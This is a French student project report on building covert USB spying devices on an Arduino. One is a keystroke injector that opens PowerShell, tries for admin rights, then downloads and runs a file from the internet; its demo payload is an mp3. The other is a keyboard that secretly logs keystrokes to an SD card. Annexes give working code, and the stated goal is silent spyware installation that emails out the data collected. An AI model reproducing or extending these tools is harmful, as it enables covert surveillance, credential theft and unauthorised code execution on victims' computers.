Rapport de Projet

IMA3 S6 du groupe P12

Maxime Duquesne, Rémi GUILLOMON, Baptiste JEAN-LOUIS, Quentin Delpech

**Titre : Fabrication d’appareille USB spécialisé dans espionnage**

**Introduction :**

Le but de notre projet est la création de périphériques USB (clavier et clef USB) incorporant des fonctionnalités propres (installation de logiciel d’espionnage, keygraber). Ces périphériques seront contrôlés par un atmega16u2.

La durée de notre projet étant de deux ans nous avons décidé, durant la première année, de nous focaliser sur la partie software :

-l’étude théorique (comment utiliser des bibliothèques, comment les modifier)

-La création de maquette sur arduino, afin de voir la réalisabilité de notre projet, les problèmes rencontrés, et aussi d’avoir à notre disposition les algorithmes qui seront utilisé à la fin de notre projet.

Ainsi durant la 2ème année nous pourrons nous focaliser sur le hardware, ce qui comprend la création des PCB pour la clef et le clavier. Et aussi leur « coque de protection »

**Partie théorique :**

**Partie maquette :**

Dans la partie conception des maquettes nous avons travaillé avec une carte Arduino Leonardo.

Nous avons fait ce choix pour plusieurs raisons :

-l’Arduino UNO ne prend pas en charge la bibliothèque Keyboard qui nous sert à l’émulation du clavier sous l’environnement Arduino.

- Le module micro SD (utilisé pour les deux maquettes) était un module pour Leonardo.

-Le Leonardo utilise un ATmega32U2 comme contrôleur USB, mais heureusement l’ATmega32U2 et l’ATmega16u2 sont quasiment les même (seul la taille de la mémoire diffère), donc le code pour l’ATmega32u2 sera compatible avec le 16u2.

**Partie 1 : La librairie Keyboard**

Comme dit précédemment la librairie Keyboard sert à l’émulation d’un clavier sous l’environnement Arduino . Cette partie est importante car utilisé pour les deux périphériques, l’un car étant un clavier, et l’autre car l’installation du logiciel espion nécessitera des commandes à taper dans le shell de Windows.

Dans un premier temps nous avons téléchargé et installé le logiciel Arduino qui sert à programmer l’arduino Léonardo. Par la suite nous y avons implanté la dernière version de la librairie Keyboard.

Pour écrire notre programme, nous avons utilisé comme squelette de base le code d’exemple de l’utilisation de la librairie Keyboard fourni avec le logiciel.

L’utilisation de la bibliothèque est plutôt simple, il suffit de lancer Keyboard.begin(). Alors l’arduino est reconnue comme un clavier. Par la suite pour rentrer des touches il faut utiliser la commande Keyboard.write() <appuie et relache> une touche ou Keyboard.press() <appuie et maintient appuyée> une touche.

Le problème que ces fonctions ne prennent en paramètres qu'un unique caractère. Pour améliorer la lisibilité du code et la facilité le débogage, nous avons créé la fonction keyboardprint(String) qui permet d'écrire toute la chaîne de caractères passer en paramètre.

* Annexe 1

Les problèmes que nous avons rencontrés lors de la création de ce programme se situent au niveau de l’envoi de certaines touches bien spécifique (exemple : @ , \, #) qui ont du étre prit en compte différemment des autres touches . Nous ne sommes pas certains de la source de ces erreurs, mais il se pourrait qu'elles soient dues à une différence de définition du clavier Qwerty de la bibliothèque Arduino Keyboard et de celle utilisée par l'ordinateur.

L’autre problème est lié à la disposition du clavier : Anglais (qwerty) ou Français (azerty).

Comme sous-entendues précédemment la libraire keyboard travaille sous qwerty. Il serait possible de créer un programme pour palier à cela. Mais nous n’avons trouvé aucun moyen d’obtenir l’information concernant la disposition du clavier. Donc notre programme ne fonctionne que sous un ordinateur configuré en qwerty.

**Partie 2 : Code sous Windows pour la clé**

Notre clef USB devra injecter des codes sous Windows afin de télécharger et d’installer le logiciel espion. Dans cette partie nous verrons le code utilisé.

Windows possède 2 Shell diffèrent : -CMD et –PowerShell

Théoriquement les 2 nous permettrais de télécharger et de lancer un logiciel. Mais les essaies sous CMD n’ont pas porté leurs fruits.

Donc nous allons utiliser PowerShell pour télécharger et installer notre logiciel espion.

* Annexe 2

**Partie 3 : Gestion SD**

La carte SD sous Arduino est gérée via la bibliothèque SD, qui inclut la bibliothèque File. La première permet de se déplacer dans le système de fichiers et d'ouvrir des fichiers dans lesquels on pourra lire et écrire.

Les 2 périphériques utiliserons une carte SD (le clavier afin de stocker les touches pressées et la clef comme stockage des instructions).

La gestion de la carte SD sous arduino n’est pas la même que sous les environnements linux ou Windows. Je sous-sous-entends que la manipulation des fichiers sur la carte SD se fait nécessairement à l’aide de code

**Partie 4 : maquette du clavier :**

Pour rappel le clavier devra se comporter comme un clavier ‘normal’ avec la fonction supplémentaire d’enregistrer les inputs sur la clef sd et de pouvoir supprimer les inputs enregistrés ou de les renvoyer sur le pc.

La maquette du clavier sera réalisée comme dit précédemment sur un arduinio Leonardo. Pour simplifier nous utiliserons au lieu d’un clavier ‘total’, un clavier numérique comportant 12 entrées (0 à 9 et R (return) et D (delete)). R aura pour fonction de réinjecter les inputs enregistré et D suprimera les inputs enregistrés. Le composant qui remplit la fonction de clavier est le shield pour arduino MPR121 Cap. Touche. les touches de ce clavier sont activée par une différence de capacité au bornes de la touche . Ce qui permet l’utilisation comme touche de quasiment n’importe quelle objet (ce qui ne nous sera pas vraiment utile ici).

La maquette du clavier est parfaitement fonctionnelle, voici en quelque ligne sont principe de fonctionnement :

void setup (): initialisation : SD , Keyboard , Adafruit

void loop (): scrutation des touches et enregistrement de celles-ci sur la carte SD, et gestion des touches spéciales R et D

La vérification de l’appui des touches se fait par scrutation. Lors de l’appui d’une touche <touche> et enregistré sur la carte SD et >touche< quand cette touche et relâchée.

* Annexe 3

Pour le projet finale la structure du programme restera la même seul le nombre d’input possible augmente.

**Partie 5 : Maquette clef**

Pour rappel la clef Usb devra : envoyer une serie d’instruction préenregistré sous forme d’input clavier et aussi servir d’adaptateur micro SD.

Le problème rencontré dans cette partie se situe sur la partie adaptateur micro SD. Car nous souhaitons que la prise en charge de la micro SD se fasse par le système d’exploitation du pc on non celui de l’arduino . Il est possible de faire reconnaitre l’arduino par le pc comme un périphérique de stockage mais alors il est impossible de le faire reconnaitre comme un clavier.

Donc nous avons créé la maquette qui remplit la fonction de clavier, notre maquette entre les imput préenregistré (ce qui lui fait téléchargé et lancer une music sous Windows.

Principe de fonctionnement :

void setup ()  : initialisation du keyboard et de la SD

void loop ()  : envoie des inputs qui télécharge et lance une music

* Annexe 4

Nous avons pensé pour pouvoir faire ce que nous souhaitons, utiliser un switch qui switchera entre 2 contrôleurs USB différent un qui gèrera le clavier et l’autre le stockage de masse. Le switch entre les 2 contrôleurs se fera sur l’envoie des paquets de mise en veille de l’ordinateur.

**Partie 6 : Logiciel espion**

En ce qui concerne le logiciel espion nous n’avons pas encore décidé quelle démarche sera utilisé.

2 possibilité s’ouvre à nous :

La première consiste à utiliser un logiciel espion, nous en avons trouvé un très complet. Il s’agit du logiciel fkl qui nous permet de prendre des screen shoot monitoré l’utilisation des logiciels, enregistrée les touches frappé …Il permet aussi d’envoie tous les informations récoltées par mail.

Mais l’utilisions d’un tel logiciel seulement en ligne de commande reste compliqué

La seconde possibilité serai la création de notre propre script espion qui utiliserai les fonctionnalité mise à notre dispositions par les shells de Windows. Cette solution serait plus facile et moins détectable à la mise en place, mais restera très basique vis-à-vis des fonctionnalités.

* Annexe 1

void keyboardprint ( String texte ){

int i = 0;

while (texte[i]!='\0'){

if(texte[i]=='@'){ \*/

Keyboard.write('"');

}

else if(texte[i]=='"'){

Keyboard.write('@'); Prise en compte des caractères spéciaux

}

else if(texte[i]=='\\'){

Keyboard.press(KEY\_RIGHT\_ALT);

Keyboard.press(92);

} \*/

else {

Keyboard.write(texte[i]);

}

delay(ti); // Delay entre les inputs

Keyboard.releaseAll();

i++;

}

}

* Annexe 2

Code pour Windows :

Ouvrir un power Shell en admin :

Presser touche Windows

Ecrire : Powershell

Presser : entré + shift + entré

Presser : <-

Presser : Entré

Télécharger un logiciel dans un power Shell :

Invoke-WebRequest –Uri «adresse du fichier» –OutFile «adresse destination + nom et type fichier»

«https://www.mediacollege.com/audio/tone/files/440Hz\_44100Hz\_16bit\_30sec.mp3» -OutFile «./mp3.mp3»

Lancer un .exe dans un power Shell:

C:\Program Files\qBittorrent\qbittorrent.exe" exemple avec qbittorent

* Annexe 3

#include <Keyboard.h>

#include <Wire.h>

#include "Adafruit\_MPR121.h"

#include <string.h>

#define ti 20

#include<SD.h>

#ifndef \_BV

#define \_BV(bit) (1 << (bit))

#endif

// You can have up to 4 on one i2c bus but one is enough for testing!

Adafruit\_MPR121 cap = Adafruit\_MPR121();

// Keeps track of the last pins touched

// so we know when buttons are 'released'

uint16\_t lasttouched = 0;

uint16\_t currtouched = 0;

int tab[]={3,7,15,2,6,14,1,5,9,0,4,8}; //mappage des touches

File fichier,fichier2;

String filename="texte.txt";

String filename2="texto.txt";

char c; boolean written;

void keyboardprint ( String texte )

void setup() {

//keyboard out

pinMode(2, INPUT\_PULLUP);

Keyboard.begin();

//Serial

Serial.begin(9600);

while (!Serial) { // needed to keep leonardo/micro from starting too fast!

delay(10);

}

//SD

while(! SD.begin(4)){

delay(1000);

}

Serial.println("SD OK");

//File1

while( !(fichier=SD.open(filename,FILE\_WRITE)) ){

delay(1000);

}

Serial.println("file OK");

//File2

while( !(fichier2=SD.open(filename,FILE\_WRITE)) ){

delay(1000);

}

Serial.println("file2 OK");

//keyboard in

Serial.println("Adafruit MPR121 Capacitive Touch sensor test");

// Default address is 0x5A, if tied to 3.3V its 0x5B

// If tied to SDA its 0x5C and if SCL then 0x5D

if (!cap.begin(0x5A)) {

Serial.println("MPR121 not found, check wiring?");

while (1);

}

Serial.println("MPR121 found!");

}

void loop() {

// Get the currently touched pads

currtouched = cap.touched();

written=false;

//effacement de la mémoire

if ((currtouched & \_BV(2)) && !(lasttouched & \_BV(2)) ) {

fichier.close();

SD.remove(filename);

fichier=SD.open(filename,FILE\_WRITE);

fichier2.close();

SD.remove(filename2);

fichier=SD.open(filename2,FILE\_WRITE);

//effacer ce qui est présent dans la carte SD

}

//récupération des entrées

if ((currtouched & \_BV(5)) && !(lasttouched & \_BV(5))) {

fichier.seek(0);

while((c=fichier.read())!=-1){

Keyboard.write(c);

}

Keyboard.write(KEY\_RETURN);

Keyboard.write(KEY\_RETURN);

fichier2.seek(0);

while((c=fichier2.read())!=-1){

Keyboard.write(c);

}

}

for (uint8\_t i=0; i<12; i++) {

if(i==2 || i==5)i++;//ne pas traiter R et D

// it if \*is\* touched and \*wasnt\* touched before, alert!

if ((currtouched & \_BV(i)) && !(lasttouched & \_BV(i)) ) {

written=true;

Serial.print(tab[i]); Serial.println(" touched");

c=('0'+tab[i]);

fichier2.write('<');

fichier2.write(c);

fichier2.write('>');

Keyboard.press(c);

}

// if it \*was\* touched and now \*isnt\*, alert!

if (!(currtouched & \_BV(i)) && (lasttouched & \_BV(i)) ) {

written=true;

Serial.print(tab[i]); Serial.println(" released");

c=('0'+tab[i]);

fichier2.write('>');

fichier2.write(c);

fichier2.write('<');

fichier.write(c);

Keyboard.release(c);

} }

if(written){

fichier.write('\n');

fichier.flush(); //force l'enregistrement physique des données

fichier2.write('\n');

fichier2.flush();

}

// reset our state

lasttouched = currtouched;

// comment out this line for detailed data from the sensor!

return;

// put a delay so it isn't overwhelming

delay(100);

}

// v released >v<

// v pressed <v>

* Annexe 4

#define OSX 0

#define WINDOWS 1

#define UBUNTU 2

#define ti 50

#include "Keyboard.h"

#include <string.h>

// change this to match your platform:

int platform = WINDOWS;

void setup() {

// make pin 2 an input and turn on the pull-up resistor so it goes high unless

// connected to ground:

pinMode(2, INPUT\_PULLUP);

Keyboard.begin();

}

void keyboardprint ( String texte ){

int i = 0;

while (texte[i]!='\0'){

if(texte[i]=='@'){

Keyboard.write('"');

}

else if(texte[i]=='"'){

Keyboard.write('@');

}

else if(texte[i]=='\\'){

Keyboard.press(KEY\_RIGHT\_ALT);

Keyboard.press(92);

}

else {

Keyboard.write(texte[i]);

}

delay(ti);

Keyboard.releaseAll();

i++;

}

}

void loop() {

while (digitalRead(2) == HIGH) {

// do nothing until pin 2 goes low

delay(500);

}

delay(1000);

switch (platform) {

case WINDOWS:

// ouvertur power shell

Keyboard.write(KEY\_LEFT\_GUI);

delay(ti);

keyboardprint("powershell");

Keyboard.write(KEY\_RETURN);

delay(1000);

//téléchargement du fichier

keyboardprint("Invoke-WebRequest -Uri ");

keyboardprint("\"https://www.mediacollege.com/audio/tone/files/440Hz\_44100Hz\_16bit\_30sec.mp3\"");

keyboardprint(" -OutFile \"./mp3.mp3\"");

Keyboard.write(KEY\_RETURN);

delay(1000);

//ouverture du fichier

keyboardprint(".\\mp3.mp3");

Keyboard.write(KEY\_RETURN);

break;

}

// do nothing:

while (true);

}